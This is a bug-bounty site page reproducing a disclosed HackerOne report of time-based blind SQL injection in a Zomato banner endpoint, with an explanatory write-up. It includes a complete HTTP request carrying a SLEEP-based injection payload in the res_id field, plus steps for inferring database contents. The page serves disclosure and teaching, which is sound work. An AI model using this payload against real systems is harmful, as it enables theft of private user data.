Skip to content
SQL injection Disclosed report Intermediate

[www.zomato.com] Blind SQL Injection in /php/geto2banner

A parameter in a banner endpoint was passed into a database query without proper handling, allowing time-based blind SQL injection. An attacker could use it to extract data from the database, including private user information.

zzzhacker13 Follow

Originally disclosed on HackerOne

Bounty$2,000 Critical View original
  • Triaged in under an hour
  • Fixed in 46 hours
  • Paid in 45 hours
  • Disclosed after 4 months

Hi Team!

Our team discovered a Blind SQL Injection by Abusing LocalParams (res_id) in /php/geto2banner We are working to create a full PDF Report as an WriteUp ;)

Here is a Temporal Exploit based on the Vulnerable request:

POST /php/geto2banner HTTP/1.1
Host: www.zomato.com
Connection: close
Content-Length: 73
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en

res_id=51-CASE/**/WHEN(LENGTH(version())=10)THEN(SLEEP(6*1))END&city_id=0

Thank you so much!!

  • As you can see in the request - we are able to Exploit it to extract data from your DB!

Impact

Full database access holding private user information.

The original report as published on HackerOne, by zzzhacker13. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the res_id parameter was concatenated into a SQL query without parameterisation or validation, so injected SQL logic was executed by the database.

Impact

An attacker could extract data from the database, which the report says holds private user information.

What the attacker needed

Network access to the endpoint; no authentication mentioned

How it was found

  1. Send a POST request to the banner endpoint with the res_id parameter set to a conditional expression that sleeps when a condition is true.
  2. Observe the delayed response to confirm the injected condition was evaluated by the database.
  3. Vary the condition to infer database contents bit by bit.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web page sometimes asks a database a question using text supplied by the visitor. If that text is pasted straight into the question instead of being treated as plain data, the visitor can sneak in extra database instructions. Here the attacker made the database pause for several seconds when a guess was correct, which lets them slowly read out data one bit at a time.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by zzzhacker13

View all

4 more disclosed reports, best first.

More from Eternal

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.